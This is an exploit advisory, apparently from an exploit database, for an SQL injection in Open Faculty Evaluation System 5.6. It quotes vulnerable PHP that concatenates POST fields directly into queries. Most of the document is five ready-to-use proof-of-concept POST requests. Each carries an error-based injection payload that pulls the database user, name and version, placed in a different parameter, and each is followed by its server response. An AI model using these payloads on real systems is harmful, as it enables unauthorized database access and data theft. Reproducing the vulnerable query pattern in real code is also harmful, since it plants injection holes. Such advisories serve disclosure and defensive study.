# Exploit Title: Open Faculty Evaluation System 5.6 - 'batch_name' SQL Injection # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://openfacultyeval.sourceforge.io/ # Software Link: https://sourceforge.net/projects/openfacultyeval/files/feedback_php5_6.zip/download # Version: Php 5.6 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A /[PATH]/submit_feedback.php #.... #17 if(isset($_POST['submit'])) #18 { #19 //feedback no #20 $check_feedback_no="select * from batch_master where batch_id='".$_POST['']."'"; #21 $res_feedback_no=mysql_query($check_feedback_no) or die(mysql_error()); #22 $result=mysql_fetch_array($res_feedback_no); #23 #24 #25 $sql="select * from feedback_master where roll_no='".$_POST['roll_no']."' and b_id='".$_POST['b_name']."' and f_id='".$_POST['fac_name']."' and sub_id='".$_POST['sub_name']."' and sem_id='".$_POST['sem_name']."' and batch_id='".$_POST['batch_name']."' and division_id='".$_POST['division']."' and feedback_no='".$result['feedback_no']."'"; #26 //echo $sql; #27 $res=mysql_query($sql) or die(mysql_error()); #.... # POC: # 1) # http://localhost/[PATH]/submit_feedback.php # POST /[PATH]/submit_feedback.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 282 batch_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 01:02:53 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 235 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/submit_feedback.php # POST /[PATH]/submit_feedback.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 278 b_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 01:15:30 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 1204 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 3) # http://localhost/[PATH]/submit_feedback.php # POST /[PATH]/submit_feedback.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 280 sem_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 01:19:57 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 1202 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 4) # http://localhost/[PATH]/submit_feedback.php # POST /[PATH]/submit_feedback.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 280 division=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 01:23:11 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 1202 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 5) # http://localhost/[PATH]/submit_feedback.php # POST /[PATH]/submit_feedback.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 279 roll_no=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 01:29:20 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 1203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8